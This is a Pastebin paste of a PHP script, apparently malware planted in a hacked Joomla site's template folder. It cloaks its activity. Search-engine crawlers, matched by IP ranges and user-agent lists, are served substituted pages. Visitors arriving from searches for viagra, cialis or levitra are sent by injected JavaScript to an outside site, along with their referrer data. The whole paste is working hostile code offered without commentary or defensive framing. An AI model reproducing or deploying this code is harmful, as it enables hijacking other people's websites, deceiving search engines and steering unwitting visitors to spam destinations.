Advertisement
Guest User

Untitled

a guest
Jun 16th, 2010
1,150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.46 KB | None | 0 0
  1. <?php
  2.  
  3. $http = "http://".$_SERVER[HTTP_HOST]."/templates/ja_purity";
  4.  
  5. $url = "http://search.yahoo.com";// сайт редиректа
  6. $pages = array
  7. (
  8. '/index.php?option=com_content&view=article&id=44:joomla-security-strike-team&catid=1:latest-news&Itemid=50' => "/page1.html",
  9. '/index.php?option=com_content&view=article&id=19&Itemid=27' => "/page2.html",
  10. );
  11. $file = '';
  12. foreach( $pages as $pag => $s)
  13.  {
  14. if($_SERVER['REQUEST_URI']===$pag) //
  15. {
  16. $file = file_get_contents("{$http}{$s}");
  17. }
  18. }
  19. if (empty($file))
  20.     $file = file_get_contents("http://".$_SERVER[HTTP_HOST].$_SERVER['REQUEST_URI']);
  21. $is_bot = FALSE ;
  22.  
  23. $user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
  24.                                '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
  25.                                '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
  26.                                '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
  27.                                '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
  28.                                '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
  29.                                '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
  30.                                '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
  31.                                '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
  32.                                '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
  33.                                '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
  34.                                '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
  35.                                '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
  36.                                '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#Googlebot#i' ,'#altavista#i',
  37.                                '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
  38.                                '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
  39.                                '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
  40.                                '#charlotte#i', '#ngb#i' ) ;
  41.  
  42. $stop_ips_masks = array(
  43.         "66\.249\.[6-9][0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
  44.         "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
  45.         "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
  46.         "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
  47.         "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
  48.         "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
  49.         "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
  50.         "93\.172\.94\.227",                // MacFinder
  51.         "212\.100\.250\.218",            // Wells Search II
  52.         "71\.165\.223\.134",            // Indy Library
  53.         "70\.91\.180\.25",
  54.         "65\.93\.62\.242",
  55.         "74\.193\.246\.129",
  56.         "213\.144\.15\.38",
  57.         "195\.92\.229\.2",
  58.         "70\.50\.189\.191",
  59.         "218\.28\.88\.99",
  60.         "165\.160\.2\.20",
  61.         "89\.122\.224\.230",
  62.         "66\.230\.175\.124",
  63.         "218\.18\.174\.27",
  64.         "65\.33\.87\.94",
  65.         "67\.210\.111\.241",
  66.         "81\.135\.175\.70",
  67.         "64\.69\.34\.134",
  68.         "89\.149\.253\.169"
  69.     );
  70.  
  71.  
  72.  
  73.  // проверим IP'шник
  74. foreach ( $stop_ips_masks as $k=>$v )
  75. {
  76.     if ( preg_match( '#^'.$v.'$#', $_SERVER['REMOTE_ADDR']) )
  77.         $is_bot = TRUE ;
  78. }
  79. if ($is_bot === true) {echo $file; exit;}
  80. // проверим юзерагенты
  81. if( FALSE ==! strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) {echo $file; exit;}
  82. if ( !$is_bot && !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE === strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) )
  83. {
  84.  
  85.    // проверяем на поисковики
  86.     if ( preg_match ( '#google|msn|bing|live|altavista|ask|yahoo|aol#i', $_SERVER['HTTP_REFERER'] ) )
  87.     {
  88.  
  89.         // проверяем правильность запроса
  90.         //if ( preg_match( '#[\?\&]q=([^&]+)|[\?\&]query=([^&]+)|[\&\?]p=([^&]+)|[\?\&]keywords=([^&]+)#i', $_SERVER['HTTP_REFERER'] , $match ) )
  91.         if ( preg_match( '#[\&\?][pq]=([^&]+)#i', $_SERVER['HTTP_REFERER'] , $match ) )
  92.         {
  93.            
  94.             $keyword = $match[1] ;
  95.             if ( preg_match ('/viagra|cialis|levitra/i',$keyword))
  96.             {
  97.                 echo <<<HTML
  98. <script type=text/javascript>
  99. var kUrl = '{$url}';
  100. var kGroup = '2';
  101. var kDefault = 'keyword';
  102.  
  103. var kSeReferer = encodeURIComponent(document.referrer);
  104. var kReferer = encodeURIComponent(document.URL);
  105. var url = kUrl+'/?'+kGroup+'&se_referer='+kSeReferer+'&referer='+kReferer+'&default_keyword='+kDefault;
  106. window.location = url;
  107. </script>
  108. HTML;
  109.                 exit;
  110.             }
  111.         }
  112.     }
  113.  
  114.  
  115. }
  116.  
  117. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement